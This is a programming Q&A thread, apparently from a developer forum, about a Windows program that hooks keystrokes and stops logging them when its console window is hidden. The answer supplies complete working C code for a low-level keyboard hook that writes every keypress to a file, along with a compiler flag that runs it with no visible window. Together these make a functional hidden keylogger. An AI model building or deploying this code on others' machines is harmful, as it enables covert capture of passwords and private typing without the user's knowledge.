Making console window invisible ruins the program - windows

Question

I am hooking the keys and writing them down to a file, everything works fine but when I make the console window hidden, I can not hook the keys and print to a file, how to get rid of this problem? Down below when I removed ShowWindow() function I am able to hook the keys but otherwise I am not. I see the process is still running on task manager by the way.
See my example code here:
KBDLLHOOKSTRUCT kbdSTRUCT;
int APIENTRY WinMain(HINSTANCE hinstance, HINSTANCE hprevious, LPSTR cmdline, int cmdshow ) {
HWND wnd;
wnd = GetConsoleWindow();
ShowWindow(wnd, FALSE);
HHOOK kbdHOOK;
kbdHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
MSG msgg;
while(GetMessage(&msgg, NULL, 0, 0) > 0){
TranslateMessage(&msgg);
DispatchMessage(&msgg);
}
}
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar){
if(nCode >= 0){
if(wPar == 256){
kbdSTRUCT = *(KBDLLHOOKSTRUCT *)lPar;
if(kbdSTRUCT.vkCode == 0x90){
//fprintf function here to write to a file
return CallNextHookEx(NULL, nCode, wPar, lPar);
}
}
}
}
Thank you so much

Answer 1

When using gcc, -mwindows will set the Windows subsystem, this way no console window will appear when entry point is WinMain
gcc myfile.c -mwindows -o myfile.exe
Use a global variable to store SetWindowsHookEx result and pass it kbdProc, use that in CallNextHookEx
#include <Windows.h>
#include <stdio.h>
HHOOK hhook = NULL;
LRESULT CALLBACK kbdProc(int nCode, WPARAM wPar, LPARAM lPar)
{
if(nCode >= 0) {
if(wPar == WM_KEYDOWN) { //or WM_KEYUP!
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lPar;
int c = kb->vkCode;
FILE *file = fopen("test", "a");
switch(c) {
case VK_NUMLOCK: fprintf(file, "VK_NUMLOCK\n"); break;
case VK_RETURN: fprintf(file, "\n"); break;
default: fprintf(file, "%c", c); break;
}
fclose(file);
}
}
return CallNextHookEx(hhook, nCode, wPar, lPar);
}
int APIENTRY WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show)
{
hhook = SetWindowsHookEx(WH_KEYBOARD_LL, kbdProc, NULL, 0);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hhook);
return 0;
}
Make sure to use the correct windows constants. For example ShowWindow(wnd, SW_HIDE) instead of ShowWindow(wnd, FALSE). WM_KEYUP instead of 256. Otherwise the code will be too confusing when you look at the next day. Other people will not understand it.
You need to examine the shift key in addition to VK_NUMLOCK to find upper/lower case letters ...